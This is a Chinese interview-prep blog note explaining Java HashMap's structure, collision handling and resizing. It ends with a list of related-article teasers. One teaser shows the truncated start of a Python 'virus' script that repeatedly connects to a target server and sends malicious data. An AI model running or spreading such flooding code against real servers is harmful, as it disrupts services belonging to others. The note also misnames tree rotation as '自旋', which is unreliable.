20250120面试鸭特训营第28天

embedded/2025/1/22 20:40:09/

更多特训营笔记详见个人主页【面试鸭特训营】专栏

250120

1. 说说 Java 中 HashMap 的原理?

HashMap 的底层结构

  • HashMap 底层由 node 数组、单链表、红黑树构成。
  • 根据哈希函数计算得到哈希值,哈希值确定了元素保存在 node 数组中的具体下标。
  • HashMap 的默认初始容量为 16,负载因子为 0.75。当存储的元素超过 16 × 0.75 = 12 个时,HashMap 会触发扩容操作,将容量 ×2 并重新分配元素位置。
  • 扩容是比较耗时的操作,频繁扩容会影响性能。

哈希冲突

  • 两个不同的元素,经过哈希函数计算之后,可能会得到相同的哈希值,映射到 node 数组的同一个下标,产生哈希冲突。
  • 哈希冲突有多种解决方案,如链地址法,开放寻址法(线性探测、平方探测),再哈希法, HashMap 中采用的是链地址法。
  • 在每个数组下标下挂一个单链表,单链表内保存的是【具有相同哈希值的不同元素】。
  • 当单链表中保存的元素 >= 8 时,为提升查找效率,单链表转为红黑树。
    • 最坏情况下,单链表的查找时间复杂度是O(N),红黑树的查找时间复杂度是O(logN)。
  • 当红黑树中保存的元素 <= 6 时,为提升增删效率,红黑树转为单链表。
    • 红黑树在增删节点时,需要通过自旋和染色维持红黑树的平衡。

2. Java 中有哪些集合类?请简单介绍

在这里插入图片描述

3. Java 中 HashMap 的扩容机制是怎样的?

  • 负载因子

    • 一个介于 0 到 1 的小数,当存储占比达到负载因子时,会通过扩容机制进行扩容。
  • HashMap 的负载因子是 0.75 ,当 HashMap 已存储元素数量超过当前容量的 75% 时,就会进行扩容。

  • 以初始容量 16 为例

    • 扩容阈值:16 × 0.75 = 12。
    • 前 12 个元素正常存储,当存入第 13 个元素时,HashMap 会进行扩容。
    • 每次扩容时
        1. 会将 HashMap 的容量扩大为当前容量的 2 倍。
        1. HashMap 需要重新计算所有元素的哈希值,并将它们重新分配到新的哈希桶中,这个过程称为rehashing。每个元素的存储位置会根据新容量的大小重新计算哈希值,并移动到新的数组中。
    • 由于每次扩容都需要重新遍历当前所有元素,重新计算元素的哈希值并移动到新的位置,所以扩容是一个很耗时的操作,频繁扩容会导致性能明显下降。
    • 优化方案:如果能预估到 HashMap 中大概会存储多少数据,可以在创建 HashMap 的时候就指定一个较大的初始容量,以减少扩容次数。
      • 例:对于存储 100 万个元素的 HashMap ,可以直接设置一个 1024 × 1024 的初始容量,避免多次扩容。

http://www.ppmy.cn/embedded/156144.html

相关文章

HTML-拓展知识 字符实体与URL地址

文章目录 1.字符实体2.URL地址 1.字符实体 引出字符实体&#xff1a; 在编写html代码的过程中&#xff0c;有的时候我们需要让文本中显示类似于<p 之类的字符串&#xff0c;容易造成但是由于标签中就含有 &#xff0c;所以在文本中显示需要转义。这个时候我们就需要字符实体…

如何攻击一个服务器(仅用于教育及娱乐实验目的)

import socket import osdef create_virus():# 创建一个简单的病毒脚本&#xff0c;它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…

Linux - 线程池

线程池 什么是池? 池化技术的核心就是"提前准备并重复利用资源". 减少资源创建和销毁的成本. 那么线程池就是提前准备好一些线程, 当有任务来临时, 就可以直接交给这些线程运行, 当线程完成这些任务后, 并不会被销毁, 而是继续等待任务. 那么这些线程在程序运行过程…

Oracle 创建并使用外部表

目录 一. 什么是外部表二. 创建外部表所在的文件夹对象三. 授予访问外部表文件夹的权限3.1 DBA用户授予普通用户访问外部表文件夹的权限3.2 授予Win10上的Oracle用户访问桌面文件夹的权限 四. 普通用户创建外部表五. 查询六. 删除 一. 什么是外部表 在 Oracle 数据库中&#x…

TCP如何保证安全可靠?

TCP如何保证安全可靠&#xff1f; TCP&#xff08;传输控制协议&#xff09;是一种面向连接的、可靠的传输层协议。为了保证数据传输的安全性和可靠性&#xff0c;TCP 采用了多种机制&#xff0c;包括确认和重传、数据校验、数据分片和排序、流量控制以及拥塞控制。 1. 确认和…

【pytorch】norm的使用

torch.norm [deprecated ] 在torch.norm中&#xff0c;通过参数p来定制order 主要有如下几类 L1 norm 计算张量中所有数值之和L2 norm 计算张量中所有数值的平方和开根Frobenius norm 计算张量中所有维度上所有数值的平方和开根Infinity norm 计算张量中有所数值绝对值最大N…

Mysql触发器(学习自用)

一、介绍 二、触发器语法 注意&#xff1a;拿取新的数据时用new&#xff0c;旧数据用old。

Python----Python高级(模块与包,Python基本库)

一、模块 1.1、概念 就是一个包含了Python代码的以.py为后缀的Python文件&#xff0c;可以被其他 Python程序导入和使用&#xff0c;也可以自己独立执行&#xff0c;里面存放着的是一组相关的函 数或者类&#xff0c;比如查看关键字列表时导入的keyword模块。 1.2、作用 令Py…